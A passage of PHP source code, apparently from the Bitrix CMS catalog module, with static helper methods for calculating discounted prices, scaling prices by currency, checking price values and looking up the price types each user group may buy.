protected static function __CalcDiscSave(&$arDiscSave, &$arResultDiscount, &$arParams)
{
$boolResult = false;
if (isset($arParams['PRICE']) && isset($arParams['CURRENCY']))
{
$arParams['PRICE'] = (float)$arParams['PRICE'];
if (0 < $arParams['PRICE'])
{
$dblCurrentPrice = $arParams['PRICE'];
$dblMinPrice = -1;
$strMinKey = -1;
$boolApply = false;
foreach ($arDiscSave as $strDiscountKey => $arOneDiscount)
{
$dblPriceTmp = -1;
$boolDelete = false;
switch($arOneDiscount['VALUE_TYPE'])
{
case CCatalogDiscountSave::TYPE_PERCENT:
$dblPriceTmp = roundEx($dblCurrentPrice*(1 - $arOneDiscount['VALUE']/100.0), CATALOG_VALUE_PRECISION);
break;
case CCatalogDiscountSave::TYPE_FIX:
if ($arOneDiscount['DISCOUNT_CONVERT'] > $dblCurrentPrice)
{
$boolDelete = true;
}
else
{
$dblPriceTmp = $dblCurrentPrice - $arOneDiscount['DISCOUNT_CONVERT'];
}
break;
}
if (!$boolDelete)
{
if (-1 == $dblMinPrice || $dblMinPrice > $dblPriceTmp)
{
$dblMinPrice = $dblPriceTmp;
$strMinKey = $strDiscountKey;
$boolApply = true;
}
}
}
if ($boolApply)
{
$arParams['PRICE'] = $dblMinPrice;
$arResultDiscount[] = $arDiscSave[$strMinKey];
}
$boolResult = true;
}
}
return $boolResult;
}
protected static function getQueryBuildCurrencyScale($filter, $priceTypeId)
{
$result = array();
if (!isset($filter['CATALOG_CURRENCY_SCALE_'.$priceTypeId]))
return $result;
$currencyId = Currency\CurrencyManager::checkCurrencyID($filter['CATALOG_CURRENCY_SCALE_'.$priceTypeId]);
if ($currencyId === false)
return $result;
$currency = CCurrency::GetByID($currencyId);
if (empty($currency))
return $result;
$result['CURRENCY'] = $currency['CURRENCY'];
$result['BASE_RATE'] = $currency['CURRENT_BASE_RATE'];
return $result;
}
protected static function getQueryBuildPriceScaled($prices, $scale)
{
$result = array();
$scale = (float)$scale;
if (!is_array($prices))
$prices = array($prices);
if (empty($prices) || $scale <= 0)
return $result;
foreach ($prices as &$value)
$result[] = (float)$value*$scale;
unset($value);
return $result;
}
protected static function initSaleSettings()
{
if (self::$saleIncluded === null)
self::$saleIncluded = Main\Loader::includeModule('sale');
if (self::$saleIncluded)
{
self::$useSaleDiscount = (string)Main\Config\Option::get('sale', 'use_sale_discount_only') == 'Y';
if (self::$useSaleDiscount)
{
//TODO: replace runtime to reference after sale 17.5.2 will be stable
$row = Sale\Internals\DiscountEntitiesTable::getList(array(
'select' => array('ID'),
'filter' => array(
'=MODULE_ID' => 'catalog',
'=ENTITY' => 'PRICE',
'=FIELD_ENTITY' => 'CATALOG_GROUP_ID',
'=FIELD_TABLE' => 'CATALOG_GROUP_ID',
'=ACTIVE_DISCOUNT.ACTIVE' => 'Y'
),
'runtime' => array(
new Main\Entity\ReferenceField(
'ACTIVE_DISCOUNT',
'Bitrix\Sale\Internals\Discount',
array('=this.DISCOUNT_ID' => 'ref.ID'),
array('join_type' => 'LEFT')
)
),
'limit' => 1,
))->fetch();
self::$existPriceTypeDiscounts = !empty($row);
unset($row);
}
}
}
private static function isNeedleToMinimizeCatalogGroup(array $priceList)
{
if (self::$saleIncluded === null)
self::initSaleSettings();
if (
!self::$saleIncluded ||
!self::$useSaleDiscount ||
count($priceList) < 2
)
return false;
return self::$existPriceTypeDiscounts;
}
private static function getPossibleSalePrice($intProductID, array $priceData, $quantity, $siteID, array $userGroups, $coupons)
{
$possibleSalePrice = null;
if (empty($priceData))
return $possibleSalePrice;
$isCompatibilityUsed = Sale\Compatible\DiscountCompatibility::isUsed();
Sale\Compatible\DiscountCompatibility::stopUsageCompatible();
$freezeCoupons = (empty($coupons) && is_array($coupons));
if ($freezeCoupons)
Sale\DiscountCouponsManager::freezeCouponStorage();
/** @var \Bitrix\Sale\Basket $basket */
static $basket = null,
/** @var \Bitrix\Sale\BasketItem $basketItem */
$basketItem = null;
if ($basket !== null)
{
if ($basket->getSiteId() != $siteID)
{
$basket = null;
$basketItem = null;
}
}
if ($basket === null)
{
$basket = Sale\Basket::create($siteID);
$basketItem = $basket->createItem('catalog', $intProductID);
}
$fields = array(
'PRODUCT_ID' => $intProductID,
'QUANTITY' => $quantity,
'LID' => $siteID,
'PRODUCT_PRICE_ID' => $priceData['ID'],
'PRICE' => $priceData['PRICE'],
'BASE_PRICE' => $priceData['PRICE'],
'DISCOUNT_PRICE' => 0,
'CURRENCY' => $priceData['PRICE'],
'CAN_BUY' => 'Y',
'DELAY' => 'N',
'PRICE_TYPE_ID' => (int)$priceData['CATALOG_GROUP_ID']
);
/** @noinspection PhpInternalEntityUsedInspection */
$basketItem->setFieldsNoDemand($fields);
$discount = Sale\Discount::buildFromBasket($basket, new Sale\Discount\Context\UserGroup($userGroups));
$discount->setExecuteModuleFilter(array('all', 'catalog'));
$discount->calculate();
$calcResults = $discount->getApplyResult(true);
if ($calcResults && !empty($calcResults['PRICES']['BASKET']))
{
$possibleSalePrice = reset($calcResults['PRICES']['BASKET']);
$possibleSalePrice = $possibleSalePrice['PRICE'];
}
if ($freezeCoupons)
Sale\DiscountCouponsManager::unFreezeCouponStorage();
if ($isCompatibilityUsed === true)
{
Sale\Compatible\DiscountCompatibility::revertUsageCompatible();
}
return $possibleSalePrice;
}
private static function checkPriceValue($price)
{
$result = false;
if ($price !== null && $price !== false)
{
if (is_string($price))
{
$price = str_replace(',', '.', $price);
if ($price !== '' && is_numeric($price))
{
$price = (float)$price;
if (is_finite($price))
$result = $price;
}
}
elseif (
is_int($price)
|| (is_float($price) && is_finite($price))
)
{
$result = $price;
}
}
return $result;
}
private static function checkPriceCurrency($currency)
{
$result = false;
if ($currency !== null && $currency !== false && $currency !== '')
$result = $currency;
return $result;
}
/**
* @param array $userGroups
* @return array
*/
private static function getAllowedPriceTypes(array $userGroups)
{
static $priceTypeCache = array();
Main\Type\Collection::normalizeArrayValuesByInt($userGroups, true);
if (empty($userGroups))
return array();
$cacheKey = 'U'.implode('_', $userGroups);
if (!isset($priceTypeCache[$cacheKey]))
{
$priceTypeCache[$cacheKey] = array();
$priceIterator = Catalog\GroupAccessTable::getList(array(
'select' => array('CATALOG_GROUP_ID'),
'filter' => array('@GROUP_ID' => $userGroups, '=ACCESS' => Catalog\GroupAccessTable::ACCESS_BUY),
'order' => array('CATALOG_GROUP_ID' => 'ASC')
));
while ($priceType = $priceIterator->fetch())
{
$priceTypeId = (int)$priceType['CATALOG_GROUP_ID'];
$priceTypeCache[$cacheKey][$priceTypeId] = $priceTypeId;
unset($priceTypeId);
}
unset($priceType, $priceIterator);
}
return $priceTypeCache[$cacheKey];
}
private static function convertErrors(Main\Entity\Result $result)
{
global $APPLICATION;
$oldMessages = array();
foreach ($result->getErrorMessages() as $errorText)
$oldMessages[] = array('text' => $errorText);
unset($errorText);
if (!empty($oldMessages))
{
$error = new CAdminException($oldMessages);
$APPLICATION->ThrowException($error);
unset($error);
}
unset($oldMessages);
}
private static function normalizeFields(array &$fields)
{
if (isset($fields['QUANTITY']) && is_string($fields['QUANTITY']) && $fields['QUANTITY'] === '')
$fields['QUANTITY'] = 0;
if (isset($fields['QUANTITY_RESERVED']) && is_string($fields['QUANTITY_RESERVED']) && $fields['QUANTITY_RESERVED'] === '')
$fields['QUANTITY_RESERVED'] = 0;
if (isset($fields['WEIGHT']) && is_string($fields['WEIGHT']) && $fields['WEIGHT'] === '')
$fields['WEIGHT'] = 0;
}
}